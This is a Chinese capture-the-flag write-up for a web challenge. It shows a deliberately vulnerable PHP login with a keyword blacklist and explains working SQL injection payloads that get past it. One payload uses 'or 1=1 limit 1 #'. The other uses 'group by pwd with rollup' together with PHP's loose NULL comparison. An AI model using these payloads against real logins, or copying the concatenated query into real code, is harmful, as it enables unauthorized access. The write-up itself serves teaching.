因缺思汀的绕过

web题主要考察SQL注入,XSS等相关知识。涉及方向较多。此题主要涉及源码审计,MySQL相关的知识
URL:http://ctf5.shiyanbar.com/web/pcat/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

代码看起来不难,在数据库中做一个查询如果用户名密码全部相同则返回flag,如果用户名相同则返回亦可赛艇,再或者返回一颗赛艇,并且过滤了很多sql关键字。
sql语句:SELECT * FROM interest WHERE uname = '{$_POST['uname']}'发现只对uname进行了查询,而且or没有被过滤,那么就可以利用or构造一个万能用户名' or 1=1 limit 1 #,发现返回亦可赛艇说明绕过了第一个是否存在用户名的权限。
第二步则是绕过密码相比较,可以发现在pwd比较时if($key['pwd'] == $_POST['pwd']),用的是双等号,那么说明是存在弱类型的,可以利用NULL == 空字符串那么就可以利用with rollup
payload:uname='or 1 group by pwd with rollup limit 1 OFFSET 2#&pwd=

1
2
group by pwd with rollup : 对pwd进行group by 排序,且将最后一个再输出出来赋值为NULL
limit 1 OFFSET 2 : 从第三个开始取,取一位

由于共有两个用户,所以在group by pwd with rollup时会生成第三个pwd为NULL的数据,然后进行选取得到pwd为NULL,NULL == 空字符串,成功绕过得到flag

limit 与 offset:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
mysql> select * from users limit 1,1;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 2 | Angelina | I-kill-you |
+----+----------+------------+
1 row in set (0.00 sec)
mysql默认从第0个开始所以取第二位,第二个参数是取一个
mysql> select * from users limit 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
只取一位
mysql> select * from users limit 1 offset 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
+----+----------+----------+
1 row in set (0.00 sec)
从第三个开始取一位
mysql> select * from users limit 2 offset 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
+----+----------+----------+
2 rows in set (0.00 sec)
从第三个开始取两位